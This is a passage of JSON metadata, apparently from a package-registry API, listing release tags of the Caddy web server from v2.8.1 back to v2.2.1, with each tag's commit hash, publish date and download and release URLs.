cies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"e6f46c8d78b77d0aefe50750dfd6f6a18ba138e5","kind":"tag","published_at":"2024-05-29T19:36:00.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.8.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.0/manifests"},{"name":"v2.8.0-rc.1","sha":"224316eaecd6bffd38719e1e03e09f8fe51649e7","kind":"tag","published_at":"2024-05-20T19:28:08.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.8.0-rc.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.8.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.8.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.0-rc.1/manifests"},{"name":"v2.8.0-beta.2","sha":"dd203ad41f15872939e327f0b399366cb13f2287","kind":"tag","published_at":"2024-05-07T16:24:10.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.8.0-beta.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.8.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.8.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.0-beta.2/manifests"},{"name":"v2.8.0-beta.1","sha":"d129ae6aec6af2182217ee8a235f4df8cd2bbfde","kind":"tag","published_at":"2024-04-30T22:37:05.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.8.0-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.8.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.8.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.0-beta.1/manifests"},{"name":"v2.7.6","sha":"6d9a83376b5e19b3c0368541ee46044ab284038b","kind":"tag","published_at":"2023-12-08T00:27:21.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.7.6","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.6/manifests"},{"name":"v2.7.5","sha":"0e204b730aa2b1fa0835336b1117eff8c420f713","kind":"tag","published_at":"2023-10-11T21:47:36.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.7.5","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.5/manifests"},{"name":"v2.7.4","sha":"f11c3c9f5a1be082450d64369853e1dacda22dde","kind":"tag","published_at":"2023-08-17T17:48:13.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.7.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.4/manifests"},{"name":"v2.7.3","sha":"a8cc5d1a7d9d80e12ab895beaf4eaed34cc6bded","kind":"tag","published_at":"2023-08-06T00:18:41.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.7.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.3/manifests"},{"name":"v2.7.2","sha":"e2fc08bd34cc17b8cbb6ac364fa1ec41c4c643b9","kind":"tag","published_at":"2023-08-03T04:13:26.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.7.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.2/manifests"},{"name":"v2.7.1","sha":"4aa4f3ac70c682fb25db1283ea8516598528995a","kind":"tag","published_at":"2023-08-03T00:42:46.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.7.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"cd486c25d168caf58f4b6fe5d3252df9432901ec","kind":"tag","published_at":"2023-08-02T20:04:47.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.7.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.0/manifests"},{"name":"v2.7.0-beta.2","sha":"2b2addebb8cc5dfc7d4d1d34c82f3c46159fea12","kind":"tag","published_at":"2023-06-22T00:15:18.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.7.0-beta.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.7.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.7.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.0-beta.2/manifests"},{"name":"v2.7.0-beta.1","sha":"cbf16f6d9eb77f37d6eb588ff3e54cfdfddecc21","kind":"tag","published_at":"2023-05-16T15:29:02.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.7.0-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.7.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.7.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.7.0-beta.1/manifests"},{"name":"v2.6.4","sha":"0db29e2ce9799f652f3d16fd5aed6e426d23bd0a","kind":"tag","published_at":"2023-02-14T19:23:07.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.6.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.4/manifests"},{"name":"v2.6.3","sha":"90798f3eea6b7a219a9bb55f680919c0504263e3","kind":"tag","published_at":"2023-02-08T18:54:44.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.6.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.3/manifests"},{"name":"v2.6.2","sha":"6bad878a22e048762262d6fabe2144cefaf4ca81","kind":"tag","published_at":"2022-10-13T17:43:19.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.6.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"9206e8a7381d62a5f8362f541ab9c052f06a9d50","kind":"tag","published_at":"2022-09-21T19:09:00.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.6.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"821a08a6e39ed0e7c43b0271ccf126c194eb6339","kind":"tag","published_at":"2022-09-20T16:51:09.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.6.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0/manifests"},{"name":"v2.6.0-beta.5","sha":"00beec2e34cbbc111c5f61058ee5b2b05c90ca8b","kind":"tag","published_at":"2022-09-17T17:31:40.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.6.0-beta.5","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.6.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.6.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0-beta.5/manifests"},{"name":"v2.6.0-beta.4","sha":"e43b6d81782ef79f22058179d8793f40cea89556","kind":"tag","published_at":"2022-09-17T04:33:55.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.6.0-beta.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.6.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.6.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0-beta.4/manifests"},{"name":"v2.6.0-beta.3","sha":"487217519cd8dad207d04d5db966aacff3949b1d","kind":"tag","published_at":"2022-09-05T21:36:39.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.6.0-beta.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.6.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.6.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0-beta.3/manifests"},{"name":"v2.6.0-beta.2","sha":"0499d9c1c4177503c4a3d8d6bffd5d44e5edd430","kind":"tag","published_at":"2022-09-05T20:58:36.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.6.0-beta.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.6.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.6.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0-beta.2/manifests"},{"name":"v2.6.0-beta.1","sha":"5dfa08174ae3af34f10f0c1b5ca69b12a0ec7395","kind":"tag","published_at":"2022-09-05T19:56:12.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.6.0-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.6.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.6.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.6.0-beta.1/manifests"},{"name":"v2.5.2","sha":"ad3a83fb9169899226ce12a61c16b5bf4d03c482","kind":"tag","published_at":"2022-07-12T18:29:16.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.5.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"f7be0ee10131f25620a2f64af7e3ded43eae2049","kind":"tag","published_at":"2022-05-06T16:35:03.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.5.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"a8bb4a665af358f61a7ac0eabac8df2110cb6a36","kind":"tag","published_at":"2022-04-25T16:57:21.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.5.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.5.0/manifests"},{"name":"v2.5.0-rc.1","sha":"30b6d1f47a35d00fca7cff0daa2ff59a98c5a85e","kind":"tag","published_at":"2022-04-13T18:07:32.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.5.0-rc.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.5.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.5.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.5.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.5.0-rc.1/manifests"},{"name":"v2.5.0-beta.1","sha":"c7d6c4cbb951f7db87fc5aebf8382aeeca6c9f1d","kind":"tag","published_at":"2022-03-09T21:50:31.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.5.0-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.5.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.5.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.5.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.5.0-beta.1/manifests"},{"name":"v2.4.6","sha":"e7457b43e4703080ae8713ada798ce3e20b83690","kind":"tag","published_at":"2021-11-08T20:51:54.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.4.6","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.6/manifests"},{"name":"v2.4.5","sha":"46ab93be51754ac16bd7c59443e90481acf83022","kind":"tag","published_at":"2021-09-03T17:47:30.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.4.5","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.5/manifests"},{"name":"v2.4.4","sha":"f43fd6f3884d957afc391da3ca689a43ba27eccb","kind":"tag","published_at":"2021-08-30T19:24:57.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.4.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.4/manifests"},{"name":"v2.4.3","sha":"9d4ed3a3236df06e54c80c4f6633b66d68ad3673","kind":"tag","published_at":"2021-06-17T19:27:34.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.4.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.3/manifests"},{"name":"v2.4.2","sha":"89aa3a5ef3e0da58d8a165ffe4c073fda52994db","kind":"tag","published_at":"2021-06-12T20:50:17.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.4.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"e3c369d4526e44f23efb10aaad8a60ce519720a0","kind":"tag","published_at":"2021-05-19T23:14:42.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.4.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"bc2210247861340c644d9825ac2b2860f8c6e12a","kind":"tag","published_at":"2021-05-10T18:07:34.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.4.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.0/manifests"},{"name":"v2.4.0-rc.1","sha":"efe84497d7a333a8a6c7b658286121bad1b7f616","kind":"tag","published_at":"2021-05-03T17:37:36.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.4.0-rc.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.4.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.4.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.0-rc.1/manifests"},{"name":"v2.4.0-beta.2","sha":"eb3955a960a7185b9b5b3eed5be9dda2b97cee69","kind":"tag","published_at":"2021-04-01T22:23:22.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.4.0-beta.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.4.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.4.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.0-beta.2/manifests"},{"name":"v2.4.0-beta.1","sha":"ed678235a494c07bfb8219bf78c7ba2890377bad","kind":"tag","published_at":"2021-02-15T19:12:36.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.4.0-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.4.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.4.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.4.0-beta.1/manifests"},{"name":"v2.3.0","sha":"1b453dd4fbea2f3a54362fb4c2115bab85cad1b7","kind":"tag","published_at":"2020-12-31T23:04:31.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.3.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.3.0/manifests"},{"name":"v2.3.0-rc.2","sha":"1b453dd4fbea2f3a54362fb4c2115bab85cad1b7","kind":"tag","published_at":"2020-12-30T21:07:50.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.3.0-rc.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.3.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.3.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.3.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.3.0-rc.2/manifests"},{"name":"v2.2.3","sha":"385adf5d878939c381c7f73c771771d34523a1a7","kind":"tag","published_at":"2020-12-14T19:06:23.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.2.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.2.3/manifests"},{"name":"v2.3.0-rc.1","sha":"deedf8abb036bdc096360bd6f06df17a6cff9799","kind":"tag","published_at":"2020-12-12T19:46:59.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.3.0-rc.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.3.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.3.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.3.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.3.0-rc.1/manifests"},{"name":"v2.3.0-beta.1","sha":"a26f70a12b1289231d705bc002fe1df3180cb6c5","kind":"tag","published_at":"2020-11-30T19:44:10.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.3.0-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.3.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.3.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.3.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.3.0-beta.1/manifests"},{"name":"v2.2.1","sha":"385adf5d878939c381c7f73c771771d34523a1a7","kind":"commit","published_at":"2020-10-13T16:52:39.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.2.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/G